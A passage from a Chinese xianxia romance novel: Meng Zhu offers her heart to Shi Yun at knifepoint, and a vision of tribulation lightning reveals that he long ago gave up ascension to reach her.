她多自私啊,她只想着倾诉自己的一切,在他身上找从前的影子,说出来的每句话,都像是用刀子在剜他的心。 孟竹伸手,抚摸着他的眉眼,“不要害怕啊……” “你变成什么样子,无论是恶鬼还是仙人凡人,我都会喜欢你,要怎么才能相信我呢……” 她松开施允,把袖中的刀塞到施允的手中。 “来。”孟竹握着施允的手,将刀刃抵在自己的心口,“那就剖开我的心,将它拿出来看看,好不好?” 她笑着,眼泪落下来,语气轻柔道:“我早该这么做了,你将它挖出来,我就能感受到和你一样的痛。” “是我的错,我让你这么疼,这么难过。” 银刃被猛地往前一松,刀刃划破血肉的声音瞬间撕裂了施允的理智,他甩开那把刀,跌跌撞撞地往后退了几步。 他的瞳仁染上血色,眼前是刺目的红。 他杀了孟竹吗? 他居然杀了孟竹吗? 天边的雷声越来越响,惊雷砸在耳畔,身后的骷髅越发扭曲,铺天盖地一般围在他的身边。 孟竹捂着胸口呛咳了几声,她看着施允跌坐在地上,想要起身朝着他爬过去。 一道雷声落下,破庙的屋顶应声而破,梁柱塌陷,面前的施允却眨眼间不见踪影。 孟竹用灵力护体,一阵天塌地陷似的响声后,倾盆的大雨迎头浇下,她坐在废墟上,睁开眼看向天边。 “施允?” 孟竹喊着他的名字,一瘸一拐地爬起来,四处寻找着他的身影。 忽然,她的脚步停住。 天边的雷声混合着闪电一同劈下,施允盘腿坐在不远处,周围的骷髅似乎惧怕这雷与电的力量,在他身后发出怪异的哭泣声。 孟竹望着那越来越深重的雷声,像是漩涡一样的电闪雷鸣盘旋在施允的上方。 她第一次看到。 这是劫雷。 可是为什么? 施允虽有了灵骨,可并未开始修炼,所借用的不过是尸灵的力量,况且这灵骨已经沾了怨气,滋生心魔,怎么会引来修士才有的劫雷呢? 孟竹屏住呼吸,几乎是全身僵直地看着一道道闪电与雷声落下。 不知过了多长时间,雨终于停了。 施允周身的尸灵尽退,自他周身铺开气势磅礴的灵光,天边的黑重的浓云散去,阳光一寸寸从云层洒下,为他周身渡上了一层金光。 孟竹隐隐觉得要发生什么了。 还没有结束。 手腕上的银铃响起,孟竹低头去看,那只银玲从她手上自行坠落,又浮至半空。 那一日,北荒雪崩的画面在她面前缓缓浮现。 她看见施允站在阵中,无数的灵光穿过他的身体,他的躯体粉碎成齑粉,魂体却脱壳而出,慢慢浮至空中。 眉心渐渐生出莲花似的额纹,他眉目沉静,身后浮现出一道道光圈。 这是……飞升之兆。 孟竹捂住唇,心跳得飞快。 原来二十年前,施允就已经有了飞升之势。 那他为何…… 孟竹屏住呼吸,看着他睁开眼,天边传来低沉厚重的声音。 “你要放弃飞升?” 施允朝着天光亮处俯身一拜,“我想用飞升的机会,换一样东西。” “世人皆求飞升成神的机会,你又求的是什么?” 施允抬眸,“我想求天道,为我打开时空之门。” “你天赋异禀,却如此贪恋红尘俗世,可想好了要付出的代价?” “无论什么,我都接受。” “贪恋红尘的代价,倘若要你重入轮回,尝遍人间八苦,永远在黑暗和痛苦中挣扎呢?” 施允眉目映雪,唇边带着一抹柔和的浅笑:“若能得偿所愿,又有何不可。” “痴儿。”天边传来一声叹息,“也罢,念你天赋异禀又秉性纯善,吾便为你保留这次飞升的机会。” “届时轮回结束,若你依然坚持,便随你吧。” 浮影似的画面隐去,银玲停止晃动,落在孟竹的掌心。 厚重的云层散开,耀眼的金光洒向大地,一道贯穿天际的虹光下,缓缓浮现一座通天的云梯。 她看见施允的身影自那道虹光后出现,他踩着云梯一步步向着她走来。 直到在她面前站定。 孟竹的眼睛已经模糊成了一片。 施允抬手,屈起手指擦掉她脸上的泪水。 他站在阳光下,笑得眉眼弯弯。 “孟竹,可以带我回家吗?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&